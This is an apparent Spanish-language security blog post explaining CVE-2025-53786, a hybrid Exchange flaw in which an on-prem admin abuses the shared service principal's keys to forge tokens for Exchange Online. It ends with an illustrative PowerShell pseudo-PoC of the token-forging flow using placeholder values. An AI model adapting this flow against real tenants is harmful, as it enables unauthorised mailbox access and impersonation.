CVE-2025-53786 – Anatomía de una escalada de privilegios silenciosa en entornos híbridos de Microsoft Exchange
Superficialmente, CVE-2025-53786 podría parecer “solo” otra vulnerabilidad de elevación de privilegios en Microsoft Exchange. Sin embargo, su verdadero alcance se revela cuando se entiende cómo los entornos híbridos combinan el mundo on-premises con el cloud. En este caso, el talón de Aquiles radica en un aspecto que muchos administradores daban por seguro: el uso de un service principal compartido para establecer confianza entre Exchange local y Exchange Online.
Este diseño, pensado para simplificar la autenticación y federación de servicios, terminó generando una ventana para que un atacante con control de un servidor Exchange local pudiera moverse a la nube sin dejar prácticamente rastro, evadiendo incluso mecanismos como Conditional Access y MFA. El resultado es una puerta trasera invisible que puede permanecer abierta durante horas y permitir acciones críticas a nivel de dominio.
En un despliegue híbrido de Exchange, la federación entre on-prem y Exchange Online se implementa usando OAuth y una identidad registrada en Azure AD (Entra ID). El service principal asociado a Exchange Hybrid es el punto central: contiene claves (keyCredentials
) que Exchange local utiliza para firmar tokens S2S (server-to-server).
El problema:
-
Durante años, Microsoft permitió que múltiples organizaciones compartieran el mismo service principal para Exchange Hybrid.
-
Esto implica que las credenciales asociadas a ese service principal pueden generar tokens válidos en entornos cloud de la misma organización, siempre que se conserve el trust.
-
Un administrador comprometido (o malintencionado) en un Exchange local puede firmar un token y obtener acceso legítimo a Exchange Online, con privilegios extendidos y sin necesidad de MFA.
Modelo de amenaza
-
Punto de partida
El atacante ya tiene privilegios de administrador en un servidor Exchange local (posiblemente tras explotación de otra vulnerabilidad, phishing exitoso o credenciales filtradas). -
Acceso a credenciales OAuth
Localiza las claves (keyCredentials
) configuradas para el service principal híbrido. Estas se almacenan en la metaconfiguración de Exchange o pueden consultarse vía PowerShell y Microsoft Graph. -
Generación de un token S2S
Usando las claves privadas y la información de AppId/Tenant, el atacante solicita un actor token válido hacia ACS o directamente contra los endpoints de OAuth en la nube. -
Acceso lateral a la nube
Con el token en mano, el atacante puede:-
Acceder a buzones en Exchange Online.
-
Enviar correos como cualquier usuario.
-
Cambiar configuraciones de seguridad.
-
Potencialmente pivotar a otros servicios como SharePoint Online.
-
-
Persistencia y evasión
Debido a que el token es emitido por un principal “legítimo” y de confianza, las alertas en Microsoft 365 Defender o Azure AD Identity Protection pueden no dispararse. El acceso puede durar hasta 24 horas.
Explotación técnica – Pseudo-PoC
(Este ejemplo es seguro y no reutiliza claves reales. Está diseñado para ilustrar el flujo, no para ser funcional.)
# Variables simuladas
$AppId = "00000002-0000-0ff1-ce00-000000000000" # App ID de Exchange Online
$TenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$CertThumbprint = "A1B2C3D4E5F67890123456789ABCDEF123456789"
# 1. Cargar el certificado que actúa como keyCredential
$Cert = Get-Item "Cert:\LocalMachine\My\$CertThumbprint"
# 2. Generar un JWT firmado
$JWT = New-JwtToken -AppId $AppId -TenantId $TenantId -Certificate $Cert
# 3. Solicitar un token de acceso contra Azure AD
$TokenResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$TenantId/oauth2/v2.0/token" `
-Method POST `
-Body @{
client_id = $AppId
scope = "https://outlook.office365.com/.default"
client_assertion = $JWT
client_assertion_type = "urn:ietf:params:oauth:client-assertion-type:jwt-bearer"
grant_type = "client_credentials"
}
# 4. Usar el token para acceder a EWS
$AccessToken = $TokenResponse.access_token
Invoke-RestMethod -Uri "https://outlook.office365.com/EWS/Exchange.asmx" `
-Headers @{ Authorization = "Bearer $AccessToken" }
Comentarios
Publicar un comentario